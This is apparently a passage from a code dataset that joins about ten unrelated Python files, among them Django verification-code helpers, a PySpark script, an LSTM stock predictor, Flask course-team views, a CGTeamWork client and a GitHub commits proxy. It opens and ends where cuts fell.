validate_kwargs = dict()\n validate_kwargs['code'] = verify_code\n validate_kwargs['user__email'] = user_email\n verify_codes = VerifyCode.objects.filter(**validate_kwargs)\n err_msg = None\n\n if not verify_codes:\n err_msg = \"none this verify_code\"\n for verify in verify_codes:\n if verify.invalid_time > timezone.now():\n return True, None\n else:\n err_msg = \"verify_code timeout\"\n\n return False, err_msg\n\n\ndef random_str(randomlength=8,\n just_number=False):\n \"\"\"生成固定长度随机字符串。\n\n :param randomlength: 输出随机字串的长度\n :param just_number: 仅生成数字\n :return:\n \"\"\"\n\n string = \"\"\n\n if just_number:\n chars = '0123456789'\n else:\n chars = 'AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz0123456789'\n\n length = len(chars) - 1\n random = Random()\n\n for i in range(randomlength):\n string += chars[random.randint(0, length)]\n\n return string\n\n\ndef generate_email_code(randomlength=16, just_number=False):\n # 生成用于邮件校验的通行令牌。\n return random_str(randomlength=randomlength, just_number=just_number)\n\n\ndef generate_sms_code(randomlength=6, just_number=True):\n # 生成用于短信校验的通行令牌。\n return random_str(randomlength=randomlength, just_number=just_number)","sub_path":"django_server/RobotKiller/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":4374,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"224443959","text":"#!/usr/bin/env python\n\"\"\" \"\"\"\n\n# Standard library modules.\nimport unittest\nimport logging\n\n# Third party modules.\n\n# Local modules.\nfrom pymontecarlo.testcase import TestCase\nfrom pymontecarlo.options.sample.sphere import SphereSample, SphereSampleBuilder\nfrom pymontecarlo.options.material import Material\n\n# Globals and constants variables.\nCOPPER = Material.pure(29)\nZINC = Material.pure(30)\n\nclass TestSphereSample(TestCase):\n\n def setUp(self):\n super().setUp()\n\n self.s = SphereSample(COPPER, 123.456)\n\n def testskeleton(self):\n self.assertEqual(COPPER, self.s.material)\n self.assertAlmostEqual(123.456, self.s.diameter_m, 4)\n\n def testmaterials(self):\n self.assertEqual(1, len(self.s.materials))\n\n def test__eq__(self):\n s = SphereSample(COPPER, 123.456)\n self.assertEqual(s, self.s)\n\n def test__ne__(self):\n s = SphereSample(ZINC, 123.456)\n self.assertNotEqual(s, self.s)\n\n s = SphereSample(COPPER, 124.456)\n self.assertNotEqual(s, self.s)\n\nclass TestSphereSampleBuilder(TestCase):\n\n def testbuild(self):\n b = SphereSampleBuilder()\n b.add_material(COPPER)\n b.add_material(ZINC)\n b.add_diameter_m(1.0)\n\n samples = b.build()\n self.assertEqual(2, len(samples))\n self.assertEqual(2, len(b))\n\n for sample in samples:\n self.assertAlmostEqual(0.0, sample.tilt_rad, 4)\n self.assertAlmostEqual(0.0, sample.azimuth_rad, 4)\n\nif __name__ == '__main__': #pragma: no cover\n logging.getLogger().setLevel(logging.DEBUG)\n unittest.main()\n","sub_path":"pymontecarlo/options/sample/test_sphere.py","file_name":"test_sphere.py","file_ext":"py","file_size_in_byte":1607,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"327480867","text":"#!/usr/bin/python3\nfrom __future__ import print_function\n\nimport re\nimport sys\nfrom operator import add\n\n#0 file 1 word 2 strokes 3 data1 4 data2\n\nfrom pyspark.sql import SparkSession\n\nif __name__ == \"__main__\":\n if len(sys.argv) != 5:\n print(\"INVALID INPUT\")\n sys.exit(-1)\n \n# Initialize the spark context.\n spark = SparkSession\\\n .builder\\\n .appName(\"Object count\")\\\n .getOrCreate()\n \n df_stat = spark.read.csv(sys.argv[4],header=True)\n df_shape = spark.read.csv(sys.argv[3],header=True)\n \n word=sys.argv[1]\n strokes = int(sys.argv[2])\n \n df_shape = df_shape.repartition('countrycode')\n \n joined1 = df_stat.join(df_shape, df_stat.key_id == df_shape.key_id, \"inner\").drop(df_shape.key_id).drop(df_shape.word).drop(df_stat.timestamp)\n \n \n joined = joined1.rdd.map(lambda r:(r[\"countrycode\"], r[\"word\"], r[\"recognized\"], r[\"key_id\"], r[\"Total_Strokes\"]))\n joined = joined.filter(lambda x: word == x[1]).filter(lambda x: \"False\" == x[2]).filter(lambda x: int(x[4]) < strokes) \n joined = joined.map(lambda r: (r[0],1)).reduceByKey(add).sortByKey(ascending=True)\n \n if(len(joined.collect()) == 0):\n print(0)\n else:\n for x in joined.collect():\n print(x[0] + \",\" + str(x[1])) \n \n\n\t \n \n\t \n\t \n\t \n\t\n\n","sub_path":"Assignment 3/BD_0151_0158_0161_0306_A3T2.py","file_name":"BD_0151_0158_0161_0306_A3T2.py","file_ext":"py","file_size_in_byte":1359,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"303510418","text":"import numpy as np\nimport torch\nimport torch.nn as nn\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom torch.nn.modules import loss\nfrom torch.optim import Adam,LBFGS,lr_scheduler\nfrom torch.utils.data import Dataset,DataLoader,SequentialSampler,Subset\nfrom dataset import *\nfrom model import Lstm_Model\n\n\n\ndata_filename = 'D:/dev/stock_prediction/aapl.us.txt'\nsequence_length = 10\ndata_set = Stockdata_set(data_filename,sequence_length)\ntrain_set = Subset(data_set,range(0,int(len(data_set)*0.8)))\ntest_set = Subset(data_set,range(int(len(data_set)*0.8),len(data_set)))\ntrain_loader = DataLoader(train_set,batch_size=256,shuffle=False)\ntest_loader = DataLoader(test_set,batch_size=len(test_set),shuffle=False)\n\nmodel = Lstm_Model(input_size=1,hidden_size=32,num_layers=2)\ncriterion =nn.MSELoss()\noptimizer = Adam(model.parameters(),lr=0.0002)\nscheduler = lr_scheduler.MultiStepLR(optimizer,[200],0.5)\n\n\nfor epoch in range(200):\n running_loss = 0\n for trainx,trainy in train_loader:\n trainx = trainx.transpose(0,1)\n optimizer.zero_grad()\n out = model(trainx)\n loss = torch.abs(out-trainy).sum()\n loss.backward()\n optimizer.step()\n running_loss+=loss.item()\n print(f'epoch = {epoch} loss= {running_loss}')\n scheduler.step()\n\nwith torch.no_grad():\n y = []\n for x_test,y_test in test_loader:\n x_test = x_test.transpose(0,1)\n y = y_test\n pred = model(x_test)\n pred = pred.detach().numpy()\n pred = pred * (data_set.max_ - data_set.min_) + data_set.min_\n y = y * (data_set.max_ - data_set.min_) + data_set.min_\n plt.plot(pred,label='Prediction')\n plt.plot(y,label='Ground truth')\n plt.legend()\n plt.show()","sub_path":"stock_predictor.py","file_name":"stock_predictor.py","file_ext":"py","file_size_in_byte":1716,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"105377770","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport OPi.GPIO as GPIO\n\nfrom time import sleep # this lets us have a time delay\n\nGPIO.setboard(GPIO.PCPCPLUS)\nGPIO.setmode(GPIO.BOARD)\n \n# Declaration of the break between the changes of the relay status (in seconds)\ndelayTime = 1\n \n# Declaration of the input pin which is connected with the sensor. Additional to that, the pullup resistor will be activated.\nRELAIS_PIN = 22\nGPIO.setup(RELAIS_PIN, GPIO.OUT)\nGPIO.output(RELAIS_PIN, False)\n \nprint (\"Sensor-test [press ctrl+c to end]\")\n \n \n# Main program loop\ntry:\n while True:\n GPIO.output(RELAIS_PIN, True) # NO is now connected through\n time.sleep(delayTime)\n GPIO.output(RELAIS_PIN, False) # NC is now connected through\n time.sleep(delayTime)\n \n\nexcept KeyboardInterrupt: \n # here you put any code you want to run before the program \n # exits when you press CTRL+C \n print (\"An error or exception occurred!\")\n \nexcept: \n # this catches ALL other exceptions including errors. \n # You won't get any error messages for debugging \n # so only use it once your code is working \n print (\"Other error or exception occurred!\")\n \nfinally: \n GPIO.cleanup() # this ensures a clean exit \n","sub_path":"KY-019.py","file_name":"KY-019.py","file_ext":"py","file_size_in_byte":1272,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"570917301","text":"from chisubmit.backend.webapp.api import db\nfrom chisubmit.backend.webapp.api.teams.models import Team, StudentsTeams, AssignmentsTeams\nfrom chisubmit.backend.webapp.api.blueprints import api_endpoint\nfrom flask import jsonify, request, abort\nfrom chisubmit.backend.webapp.api.teams.forms import UpdateTeamInput,\\\n CreateTeamInput, UpdateAssignmentTeamInput\nfrom chisubmit.backend.webapp.auth.token import require_apikey\nfrom chisubmit.backend.webapp.auth.authz import check_course_access_or_abort,\\\n check_team_access_or_abort\nfrom flask import g\nfrom chisubmit.backend.webapp.api.courses.models import Course\nfrom chisubmit.backend.webapp.api.teams.models import Grade\nfrom chisubmit.backend.webapp.api.types import update_options\n\n@api_endpoint.route('/courses//teams', methods=['GET', 'POST'])\n@require_apikey\ndef teams(course_id):\n course = Course.query.filter_by(id=course_id).first()\n \n if course is None:\n abort(404) \n\n check_course_access_or_abort(g.user, course, 404)\n \n if request.method == 'GET':\n # TODO: SQLAlchemy-fy this\n teams = Team.query.filter_by(course_id=course_id).all()\n\n if not g.user.has_instructor_or_grader_permissions(course):\n teams = [t for t in teams if g.user in t.students]\n \n teams_dict = []\n \n for team in teams:\n extension_policy = course.options.get(\"extension-policy\", None)\n t = team.to_dict()\n t[\"extensions_available\"] = team.get_extensions_available(extension_policy)\n teams_dict.append(t)\n\n return jsonify(teams=teams_dict)\n\n check_course_access_or_abort(g.user, course, 404, roles = [\"instructor\"])\n\n input_data = request.get_json(force=True)\n if not isinstance(input_data, dict):\n return jsonify(error='Request data must be a JSON Object'), 400\n\n form = CreateTeamInput.from_json(input_data)\n if not form.validate():\n return jsonify(errors=form.errors), 400\n\n team = Team()\n form.populate_obj(team)\n db.session.add(team)\n db.session.commit()\n\n return jsonify({'team': team.to_dict()}), 201\n\n\n@api_endpoint.route('/courses//teams/', methods=['GET', 'PUT'])\n@require_apikey\ndef team(course_id, team_id):\n course = Course.query.filter_by(id=course_id).first()\n \n if course is None:\n abort(404)\n \n team = Team.query.filter_by(id=team_id).first()\n if team is None:\n abort(404)\n\n check_team_access_or_abort(g.user, team, 404)\n \n if request.method == 'PUT':\n check_team_access_or_abort(g.user, team, 404, roles = [\"instructor\"])\n input_data = request.get_json(force=True)\n if not isinstance(input_data, dict):\n return jsonify(error='Request data must be a JSON Object'), 400\n form = UpdateTeamInput.from_json(input_data)\n if not form.validate():\n return jsonify(errors=form.errors), 400\n\n team.set_columns(**form.patch_data)\n\n if 'students' in form:\n for child_data in form.students.add:\n new_child = StudentsTeams()\n child_data.populate_obj(type(\"\", (), dict(\n new_child=new_child))(), 'new_child')\n db.session.add(new_child)\n\n if 'assignments' in form:\n for child_data in form.assignments.add:\n new_child = AssignmentsTeams()\n child_data.populate_obj(type(\"\", (), dict(\n new_child=new_child))(), 'new_child')\n db.session.add(new_child)\n\n for child_data in form.assignments.update:\n assignment_id = child_data[\"assignment_id\"].data\n\n at = AssignmentsTeams.from_id(course_id, team_id, assignment_id)\n\n if at is None:\n error_msgs = [\"Team %s is not registered for assignment %s\" % (team_id, assignment_id)]\n return jsonify(errors={\"grades\": error_msgs}), 400\n\n at.set_columns(**child_data.patch_data)\n\n if 'grades' in form:\n for child_data in form.grades.add:\n # Does the grade already exist?\n assignment_id = child_data[\"assignment_id\"].data\n grade_component_id = child_data[\"grade_component_id\"].data\n \n at = AssignmentsTeams.from_id(course_id, team_id, assignment_id)\n \n if at is None:\n error_msgs = [\"Team %s is not registered for assignment %s\" % (team_id, assignment_id)]\n return jsonify(errors={\"grades\": error_msgs}), 400\n \n grade = at.get_grade(grade_component_id)\n \n if grade is None:\n new_child = Grade()\n child_data.populate_obj(type(\"\", (), dict(\n new_child=new_child))(), 'new_child')\n new_child.course_id = course_id\n new_child.team_id = team_id \n db.session.add(new_child)\n else:\n grade.points = child_data[\"points\"].data\n db.session.add(grade)\n \n if len(form.grades.penalties) > 0:\n penalties = form.grades.penalties.data\n for penalty in penalties:\n assignment_id = penalty[\"assignment_id\"]\n penalty_value = penalty[\"penalties\"]\n\n at = AssignmentsTeams.from_id(course_id, team_id, assignment_id)\n \n if at is None:\n error_msgs = [\"Team %s is not registered for assignment %s\" % (team_id, assignment_id)]\n return jsonify(errors={\"grades\": error_msgs}), 400\n \n at.penalties = penalty_value\n db.session.add(at)\n \n if 'extras' in form:\n if len(form.extras) > 0:\n update_options(form.extras, team.extras)\n db.session.add(team) \n\n db.session.commit()\n\n \n extension_policy = course.options.get(\"extension-policy\", None)\n t = team.to_dict()\n t[\"extensions_available\"] = team.get_extensions_available(extension_policy)\n\n return jsonify({'team': t})\n\n","sub_path":"src/chisubmit/backend/webapp/api/teams/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6402,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"324411700","text":"# -*- coding=UTF-8 -*-\n\"\"\"Get information from CGTeamWork GUI client. \"\"\"\n\nfrom __future__ import absolute_import, print_function, unicode_literals\n\nimport logging\nimport os\nfrom functools import partial\nfrom subprocess import Popen\n\nimport psutil\nimport websocket as ws\nfrom deprecated import deprecated\nfrom six import text_type\n\nfrom ...core import CONFIG, CachedFunctionMixin\nfrom ...exceptions import IDError\nfrom ...selection import Selection\nfrom . import core\nfrom .plugin import DesktopClientPlugin\nimport configparser\n\nLOGGER = logging.getLogger(__name__)\n\nTYPE_CHECKING = False\nif TYPE_CHECKING:\n from typing import Any, Text, Type, TypeVar\n\n T = TypeVar(\"T\")\n\n\ndef _default_socket_url():\n cfg_path = DesktopClient.config_path()\n if cfg_path:\n try:\n cfg = configparser.ConfigParser()\n cfg.read(cfg_path)\n port = cfg.get(\"General\", \"socket_server_port\")\n LOGGER.debug(\"ws port: %s\", port)\n return \"ws://127.0.0.1:%s\" % port\n except Exception as ex:\n LOGGER.warn(\"read config failed: %s\", ex)\n return CONFIG[\"DESKTOP_WEBSOCKET_URL\"]\n\n\nclass DesktopClient(CachedFunctionMixin):\n \"\"\"Communicate with a CGTeamWork official GUI clients.\"\"\"\n\n def __init__(self, socket_url=None):\n # type: (str) -> None\n super(DesktopClient, self).__init__()\n self.socket_url = socket_url or _default_socket_url()\n\n # Attachment.\n self.plugin = DesktopClientPlugin(self)\n\n # Shorthand method.\n self.call_main_widget = partial(\n self.call, \"main_widget\", module=\"main_widget\", database=\"main_widget\"\n )\n\n def connect(self):\n \"\"\"Update module config from desktop client.\"\"\"\n\n CONFIG[\"URL\"] = \"http://{}\".format(self.server_ip())\n CONFIG[\"DEFAULT_TOKEN\"] = self.token()\n\n @staticmethod\n def executable():\n \"\"\"Get a cgteamwork client executable.\n\n Returns:\n text_type: Executable path.\n \"\"\"\n\n # Get client executable.\n for i in psutil.process_iter():\n try:\n if i.name().lower() == \"cgteamwork.exe\":\n return i.exe()\n except psutil.AccessDenied:\n pass\n\n # Try use default path when client not running.\n for i in (\n os.getenv(\"CGTEAMWORK_CLIENT_PATH\", \"\"),\n \"C:/CgTeamWork_v6/bin/cgtw/CgTeamWork.exe\",\n \"C:/cgteamwork/bin/cgtw/CgTeamWork.exe\",\n ):\n if i and os.path.exists(i):\n return i\n return None\n\n @staticmethod\n def config_path():\n exe_path = DesktopClient.executable()\n if not exe_path:\n return\n return os.path.join(os.path.dirname(exe_path), \"config.ini\")\n\n def start(self):\n \"\"\"Start client if not running.\"\"\"\n\n executable = self.executable()\n if executable and not self.is_running():\n Popen(executable, cwd=os.path.dirname(executable), close_fds=True)\n\n def is_running(self):\n \"\"\"Check if client is running.\n\n Returns:\n bool: True if client is running.\n \"\"\"\n\n try:\n self.token(-1)\n return True\n except (IOError, ws.WebSocketException):\n pass\n return False\n\n def is_logged_in(self):\n \"\"\"Check if client is logged in.\n\n Returns:\n bool: True if client is logged in.\n \"\"\"\n\n try:\n if self.token(-1):\n return True\n except (IOError, ws.WebSocketException):\n pass\n return False\n\n def _refresh(self, database, module, is_selected_only):\n # type: (Text, Text, bool) -> None\n self.call(\n \"view_control\",\n \"refresh_select\" if is_selected_only else \"refresh\",\n module=module,\n database=database,\n type=\"send\",\n )\n\n def refresh(self, database, module):\n # type: (Text, Text) -> None\n \"\"\"\n Refresh specified view in client\n if matched view is opened.\n\n Args:\n database (text_type): Database of view.\n module (text_type): Module of view.\n \"\"\"\n\n self._refresh(database, module, False)\n\n def refresh_selected(self, database, module):\n # type: (Text, Text) -> None\n \"\"\"\n Refresh selected part of specified view in client\n if matched view is opened.\n\n Args:\n database (text_type): Database of view.\n module (text_type): Module of view.\n \"\"\"\n\n self._refresh(database, module, True)\n\n def token(self, max_age=2):\n # type: (int) -> None\n \"\"\"Cached client token.\"\"\"\n\n return self._cached(\"token\", self._token, max_age)\n\n def _token(self):\n \"\"\"Client token.\"\"\"\n\n ret = self.call_main_widget(\"get_token\")\n if ret is True:\n return \"\"\n assert isinstance(ret, text_type), type(ret)\n return text_type(ret)\n\n def server_ip(self, max_age=5):\n # type: (int) -> None\n \"\"\"Cached server ip.\"\"\"\n\n return self._cached(\"server_ip\", self._server_ip, max_age)\n\n def _server_ip(self):\n \"\"\"Server ip current using by client.\"\"\"\n\n ret = self.call_main_widget(\"get_server_ip\")\n if ret is True:\n return \"\"\n return _get_typed_data(\n ret,\n text_type,\n )\n\n def server_http(self):\n \"\"\"Server http current using by client.\"\"\"\n\n ret = self.call_main_widget(\"get_server_http\")\n if ret is True:\n ret = \"\"\n return _get_typed_data(\n ret,\n text_type,\n )\n\n def selection(self):\n \"\"\"Get current selection from client.\n\n Returns:\n Selection: Current selection.\n \"\"\"\n\n try:\n plugin_data = self.get_plugin_data()\n except IDError:\n # TODO: should raise exception.EmptySelection.\n raise ValueError(\"Empty selection.\")\n return Selection.from_data(**plugin_data._asdict())\n\n def call(self, controller, method, **kwargs):\n # type: (Text, Text, *Any) -> Any\n r\"\"\"Call method on the cgteamwork client.\n\n Args:\n controller (str): Client defined controller name.\n method (str): Client defined method name on the controller.\n \\*\\*kwargs: Client defined method keyword arguments.\n\n Returns:\n dict or str: Received data.\n \"\"\"\n\n return core.call(self.socket_url, controller, method, **kwargs)\n\n # Deprecated methods.\n\n current_select = deprecated(\n version=\"3.0.0\",\n reason=\"Use `Desktop.selection` instead.\",\n )(selection)\n\n get_plugin_data = deprecated(\n version=\"3.0.0\",\n reason=\"Use `DesktopClient.plugin.data` instead.\",\n )(lambda self, uuid=\"\": self.plugin.data(uuid))\n\n send_plugin_result = deprecated(\n version=\"3.0.0\", reason=\"Use `DesktopClient.plugin.send_result` instead.\"\n )(\n lambda self, uuid, result=False: self.plugin.send_result(\n process_id=uuid, result=result\n )\n )\n\n\ndef _get_typed_data(data, type_):\n # type: (Any, Type[T]) -> T\n assert isinstance(data, type_), type(data)\n return type_(data) # type: ignore\n","sub_path":"cgtwq/client/desktop/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":7340,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"584650223","text":"\"\"\"default settings tailored at some level for development purposes\"\"\"\nfrom datetime import timedelta\n\nDEBUG = True\nBEHIND_PROXY = False\nDATABASE = 'postgresql://deverant:deve_test@localhost/tasks'\nSECRET_KEY = 'ojG3UcdR' # This should be much longer in production!\nSESSION_COOKIE_NAME = 'tasks_session'\nPERMANENT_SESSION_LIFETIME = timedelta(days=30)\nSESSION_LIFETIME = timedelta(hours=8)\n","sub_path":"tasks/default_settings.py","file_name":"default_settings.py","file_ext":"py","file_size_in_byte":391,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"435274542","text":"\"\"\"Data file for Period 1\"\"\"\n\nimport model # projects definitions are placed in different file\nfrom flask import url_for\n\n\ndef setup():\n EXAMPLE = model.Project(\"Project Name\", \"http://www.google.com\", \"/static/img/cat1.jpg\", \"Team Name\",\n [\"Talented Student 1\", \"Talented Student 2\", \"Smart Student 3\", \"Team Member 4\",\n \"Amazing Member 5\"], \"This is our fabulous project, because we are cool (description)\")\n projects = [EXAMPLE]\n period = model.Period(\"Period 5\", \"Some really smart people study apcsp here\", projects)\n return period\n","sub_path":"data_p5.py","file_name":"data_p5.py","file_ext":"py","file_size_in_byte":605,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"235807437","text":"from __future__ import absolute_import, unicode_literals\n\nfrom django.conf import settings, ImproperlyConfigured\nfrom requests import get\n\nfrom ..exceptions import CommitsError\nfrom .base import CommitsBase\n\n\n# GitHub API version 2:\nAPI_PATH = '{adress}/repos/{owner}/{repo}/commits'\n\n\nclass Commits(CommitsBase):\n \"\"\"GitHub proxy.\n \"\"\"\n def __init__(self, owner, repo, branch='master'):\n super(Commits, self).__init__(owner, repo, branch)\n\n if not hasattr(settings, 'COMMITS_OPTIONS'):\n raise ImproperlyConfigured('Cannot find commits engine options')\n\n if 'ADDRESS' not in settings.COMMITS_OPTIONS:\n raise ImproperlyConfigured('Cannot find GitHub API adress')\n\n self.__api_adress = settings.COMMITS_OPTIONS['ADDRESS'].rstrip('/')\n\n # Authentication options:\n self.__user = settings.COMMITS_OPTIONS.get('USERNAME', None)\n self.__password = settings.COMMITS_OPTIONS.get('PASSWORD', None)\n\n def _extract(self, item):\n # Extract necessary info from raw commit.\n return {\n 'sha': item['sha'],\n 'author_name': item['commit']['author']['name'],\n 'author_email': item['commit']['author']['email'],\n 'date': item['commit']['author']['date'],\n 'message': item['commit']['message'],\n }\n\n def _get_page(self, sha, size=100):\n # Get page of commits\n\n def decode(response):\n # Decode reponse json.\n try:\n data = response.json()\n except ValueError:\n raise None\n return data\n\n\n kwargs = {}\n if self.__user is not None and self.__password is not None:\n kwargs['auth'] = (self.__user, self.__password)\n\n response = get(\n API_PATH.format(\n adress=self.__api_adress,\n owner=self.owner,\n repo=self.repo,\n ),\n {'per_page': max(2, size), 'sha': sha},\n **kwargs\n )\n\n data = decode(response)\n\n if not response.ok:\n if 'message' in data:\n raise CommitsError(data['message'])\n else:\n raise CommitsError(\"{} {}\".format(\n response.status_code, response.reason)\n )\n\n if not isinstance(data, list):\n raise CommitsError(\"Cannot get commits\")\n\n return data\n\n def _get_commits(self):\n # Get all commits generator.\n max_count = getattr(settings, 'MAX_COMMITS_LIMIT', None)\n\n sha = None\n while True:\n page = self._get_page(sha or self.branch)\n\n if sha is not None:\n # Because last commit of prev page is\n # equal to first commit of current page:\n page.pop(0)\n\n if not page:\n # Great exit point!\n break\n\n for item in page:\n if max_count is not None:\n if max_count > 0:\n max_count -= 1\n else:\n return\n # More faster, than commits append to list :\n yield self._extract(item)\n\n # Everywhere we store last commit of current page:\n sha = item['sha']\n\n def __iter__(self):\n return iter(self._get_commits())\n\n","sub_path":"turnip/contrib/commits/backends/github.py","file_name":"github.py","file_ext":"py","file_size_in_byte":3381,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"614920469","text":"#!/bin/python\n'''\nAuthor: Matt Strader Date: August 19, 2012\n\nThe class ObsFile is an interface to observation files. It provides methods for typical ways of accessing and viewing observation data. It can also load and apply wavelength and flat calibration. With calibrations loaded, it can write the obs file out as a photon list\n\nLooks for observation files in $MKID_RAW_PATH and calibration files organized in $MKID_PROC_PATH (intermediate or scratch path)\n\nClass Obsfile:\n__init__(self, fileName,verbose=False)\n__del__(self)\n__iter__(self)\nloadFile(self, fileName,verbose=False)\ncheckIntegrity(self,firstSec=0,integrationTime=-1)\nconvertToWvl(self, pulseHeights, xCoord, yCoord, excludeBad=True)\ncreateEmptyPhotonListFile(self)\ndisplaySec(self, firstSec=0, integrationTime= -1, weighted=False,fluxWeighted=False, plotTitle='', nSdevMax=2,scaleByEffInt=False)\ngetFromHeader(self, name)\ngetPixel(self, xCoord, yCoord, firstSec=0, integrationTime= -1)\ngetPixelWvlList(self,xCoord,yCoord,firstSec=0,integrationTime=-1,excludeBad=True,dither=True)\ngetPixelCount(self, xCoord, yCoord, firstSec=0, integrationTime= -1,weighted=False, fluxWeighted=False, getRawCount=False)\ngetPixelLightCurve(self, xCoord, yCoord, firstSec=0, lastSec=-1, cadence=1, **kwargs)\ngetPixelPacketList(self, xCoord, yCoord, firstSec=0, integrationTime= -1)\ngetTimedPacketList_old(self, xCoord, yCoord, firstSec=0, integrationTime= -1)\ngetTimedPacketList(self, xCoord, yCoord, firstSec=0, integrationTime= -1)\ngetPixelCountImage(self, firstSec=0, integrationTime= -1, weighted=False,fluxWeighted=False, getRawCount=False,scaleByEffInt=False)\ngetAperturePixelCountImage(self, firstSec=0, integrationTime= -1, y_values=range(46), x_values=range(44), y_sky=[], x_sky=[], apertureMask=np.ones((46,44)), skyMask=np.zeros((46,44)), weighted=False, fluxWeighted=False, getRawCount=False, scaleByEffInt=False)\ngetSpectralCube(self,firstSec=0,integrationTime=-1,weighted=True,wvlStart=3000,wvlStop=13000,wvlBinWidth=None,energyBinWidth=None,wvlBinEdges=None)\ngetPixelSpectrum(self, pixelRow, pixelCol, firstSec=0, integrationTime= -1,weighted=False, fluxWeighted=False, wvlStart=3000, wvlStop=13000, wvlBinWidth=None, energyBinWidth=None, wvlBinEdges=None)\ngetPixelBadTimes(self, pixelRow, pixelCol)\ngetDeadPixels(self, showMe=False, weighted=True, getRawCount=False)\ngetNonAllocPixels(self, showMe=False)\ngetRoachNum(self,xCoord,yCoord)\ngetFrame(self, firstSec=0, integrationTime=-1)\nloadCentroidListFile(self, centroidListFileName)\nloadFlatCalFile(self, flatCalFileName)\nloadFluxCalFile(self, fluxCalFileName)\nloadHotPixCalFile(self, hotPixCalFileName, switchOnMask=True)\nloadTimeAdjustmentFile(self,timeAdjustFileName,verbose=False)\nloadWvlCalFile(self, wvlCalFileName)\nloadFilter(self, filterName = 'V', wvlBinEdges = None,switchOnFilter = True):\nmakeWvlBins(energyBinWidth=.1, wvlStart=3000, wvlStop=13000)\nparsePhotonPackets(self, packets, inter=interval(),doParabolaFitPeaks=True, doBaselines=True)\nplotPixelSpectra(self, pixelRow, pixelCol, firstSec=0, integrationTime= -1,weighted=False, fluxWeighted=False)getApertureSpectrum(self, pixelRow, pixelCol, radius1, radius2, weighted=False, fluxWeighted=False, lowCut=3000, highCut=7000,firstSec=0,integrationTime=-1)\nplotPixelLightCurve(self,xCoord,yCoord,firstSec=0,lastSec=-1,cadence=1,**kwargs)\nplotApertureSpectrum(self, pixelRow, pixelCol, radius1, radius2, weighted=False, fluxWeighted=False, lowCut=3000, highCut=7000, firstSec=0,integrationTime=-1)\nsetWvlCutoffs(self, wvlLowerLimit=3000, wvlUpperLimit=8000)\nswitchOffHotPixTimeMask(self)\nswitchOnHotPixTimeMask(self, reasons=[])\nswitchOffFilter(self)\nswitchOnFilter(self)\nwritePhotonList(self)\n\ncalculateSlices_old(inter, timestamps)\ncalculateSlices(inter, timestamps)\nrepackArray(array, slices)\n'''\n\nimport sys, os\nimport warnings\nimport time\n\nimport numpy as np\nfrom numpy import vectorize\nfrom numpy import ma\nfrom scipy import pi\nimport matplotlib.pyplot as plt\nfrom matplotlib.dates import strpdate2num\nfrom interval import interval,inf\nimport tables\nfrom tables.nodes import filenode\nimport astropy.constants\nfrom regions import PixCoord, CirclePixelRegion, RectanglePixelRegion\nimport numpy.lib.recfunctions as nlr\n\nfrom P3Utils import utils\nfrom P3Utils import MKIDStd\nfrom P3Utils.FileName import FileName\nfrom Headers import TimeMask\n\nclass ObsFile:\n h = astropy.constants.h.to('eV s').value #4.135668e-15 #eV s\n c = astropy.constants.c.to('m/s').value #'2.998e8 #m/s\n angstromPerMeter = 1e10\n nCalCoeffs = 3\n def __init__(self, fileName, mode='read', verbose=False):\n \"\"\"\n Create ObsFile object and load in specified HDF5 file.\n\n Parameters\n ----------\n fileName: String\n Path to HDF5 File\n mode: String\n 'read' or 'write'. File should be opened in 'read' mode \n unless you are applying a calibration.\n verbose: bool\n Prints debug messages if True\n Returns\n -------\n ObsFile instance\n \n \"\"\"\n assert mode=='read' or mode=='write', '\"mode\" argument must be \"read\" or \"write\"'\n self.mode = mode\n self.makeMaskVersion = None\n self.loadFile(fileName,verbose=verbose)\n self.photonTable = self.file.get_node('/Photons/PhotonTable')\n self.filterIsApplied = False\n\n self.filterIsApplied = False\n self.noResIDFlag = 2**32-1\n self.wvlLowerLimit = None\n self.wvlUpperLimit = None\n self.timeMaskExists = False\n\n def __del__(self):\n \"\"\"\n Closes the obs file and any cal files that are open\n \"\"\"\n try:\n self.file.close()\n except:\n pass\n try:\n self.wvlCalFile.close()\n except:\n pass\n try:\n self.flatCalFile.close()\n except:\n pass\n try:\n self.fluxCalFile.close()\n except:\n pass\n try:\n self.timeAdjustFile.close()\n except:\n pass\n try:\n self.hotPixFile.close()\n except:\n pass\n try:\n self.centroidListFile.close()\n except:\n pass\n self.file.close()\n\n\n def __iter__(self):\n \"\"\"\n Allows easy iteration over pixels in obs file\n use with 'for pixel in obsFileObject:'\n yields a single pixel h5 dataset\n\n MJS 3/28\n Warning: if timeAdjustFile is loaded, the data from this\n function will not be corrected for roach delays as in getPixel().\n Use getPixel() instead.\n \"\"\"\n for xCoord in range(self.nXPix):\n for yCoord in range(self.nYPix):\n pixelLabel = self.beamImage[xCoord][yCoord]\n pixelData = self.file.get_node('/' + pixelLabel)\n yield pixelData\n\n def loadFile(self, fileName,verbose=False):\n \"\"\"\n Opens file and loads obs file attributes and beammap\n \"\"\"\n if (os.path.isabs(fileName)):\n self.fileName = os.path.basename(fileName)\n self.fullFileName = fileName\n else:\n self.fileName = fileName\n # make the full file name by joining the input name\n # to the MKID_RAW_PATH (or . if the environment variable\n # is not defined)\n dataDir = os.getenv('MKID_RAW_PATH', '/')\n self.fullFileName = os.path.join(dataDir, self.fileName)\n\n if (not os.path.exists(self.fullFileName)):\n msg='file does not exist: 